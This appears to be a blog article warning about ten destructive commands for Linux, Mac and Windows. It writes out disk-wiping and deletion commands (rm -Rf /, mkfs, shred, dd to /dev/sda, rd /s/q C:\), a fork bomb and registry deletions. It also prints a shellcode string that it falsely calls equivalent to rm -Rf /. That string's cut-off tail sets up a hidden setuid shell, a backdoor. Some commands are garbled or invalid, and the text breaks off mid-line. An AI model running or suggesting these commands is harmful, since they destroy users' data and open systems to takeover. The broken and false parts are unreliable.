10 most dangerous commands for Windows, Linux and Mac

linux, windows commands

Clicking on some button or icon whose function you don’t know can be quite dangerous. But if we talk about text commands entered in the terminal, the thing can be just as serious (or more).

The text commands listed below can have destructive effects on your system if you use them with administrator permissions. So be careful with the experiments:

rm -Rf / (Linux, BSD, Mac)

There is a typical example when it comes to dangerous Linux commands … and its fame is certainly justified: it proceeds to delete each and every one of the directories on our hard drive starting from the root directory (/). It is the following:

rm -Rf /

That is, it erases everything. To avoid this, several distributions have an ‘alias’ configured by default that, when starting “rm”, we are actually accessing “rm -i”, with which Bash will ask us to confirm that we really want to perform the deletion.

There is a variant that “only” deletes our user folder, along with all the configuration files that reside there: “rm –rf ~”.

mkfs.ext4 /dev/sda (Linux, BSD, Mac)

If we use an EXT4 file system, the following command is not very different from the typical DOS/Windows ‘format C:’. Format, period:

mkfs.ext4 /dev/sda

But instead of formatting the entire file hierarchy like above, it focuses on a specific media drive (it can be /dev/sda or something else).

shred /dev/sda (Linux, BSD, Mac)

The above commands are dangerous, yes. But, at least, once executed, it allows you to use file recovery tools with a high probability of success.

However, another much less known command can delete all the files on a hard drive with no possible solution :

shred /dev/sda

Shred is a tool that does not erase: it destroys. In other words, it does not limit itself to deleting a file from the file table, but overwrites the physical space it occupies dozens of times, making it totally impossible to recover.

dd if=/dev/random of=/dev/sda (Linux, BSD, Mac)

DD is a tool that is often used to clone disks and thus create backups. But, used creatively, it can cause us to have to resort to them. Like in this example:

dd if=/dev/random of=/dev/sda

‘dev/random’ is the name of a virtual device that Unix uses as a random number generator. The command we are dealing with does nothing but copy the ‘contents’ of said ‘device’ to our primary hard drive… in such a way that its effect will be the same as if we used ‘shred /dev/sda’, although much slower.

mv / /dev/null (Linux, BSD, Mac)

Virtual devices are loaded by the Devil, it seems. And it is that ‘dev/random’ is not the only one of this type that can give us headaches. Pay attention to the following command and what it can do:

mv / /dev/null

This command moves (we insist: not ‘copy’. moves) the contents of ‘/’ (ie all the contents of the system) to the virtual device ‘/dev/null’. The problem is that /dev/null is the Nothing, a kind of black hole in which every bit that we throw is lost, never to return. Do you see the problem now?

:(){ :|:& };: (Linux, BSD, Mac)

Fortunately, the above commands can be read relatively easily: as soon as you know a bit about Unix or just English, you can frown and think “Hey, wait a minute…”. But what if a command doesn’t look like a command?

Let’s look at the following example:

:(){ :|:& };:

This is the ‘Fork bomb’ command, whose function is to define and execute a function that recursively calls itself infinitely. It doesn’t do anything… except run so many times that it ends up running out of available memory and forcing us to reboot the device.

Commands in hexadecimal (Linux, BSD, Mac)

It is possible to convert a command (any) written in normal text mode to hexadecimal format, which prevents us from being able to read it (or, rather, understand it). However, if we tell the system to convert and execute the hexadecimal string, it will be as if we were directly executing the original command. Thus, there is no difference between typing ‘rm -Rf /’ and the following:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755


rd /s/q/ C:\ (Windows)

Here’s a command for Windows that is basically equivalent to ‘rm -Rf’ for Linux , Mac and co.:

rd/s/q/ C:\

But with one difference: it will only erase data from a specific logical drive (in the example, C:), but not from the entire system. The difference, of course, will only be relevant if we have more than one unit in the system.

Blue Screen of Death Command (Windows)

Do you miss the old blue screens of death that were so characteristic of the Windows user experience? Calm down, with the following command and you can guarantee yourself a free session of nostalgia :

@echo off

delete %systemdrive%*.* /f /s

Fortunately for you, it is not enough to copy and paste in the ‘cmd’: you have to save both lines as a text file with a .BAT extension, equivalent to Linux .SH.

Registry Clearing (Windows)

Another set of commands that must be executed one after the other using a BAT file:

@echo offSTART reg delete HKC/.EXESTART reg delete HKCR.dll

START reg delete HKCR/*

Leave a Reply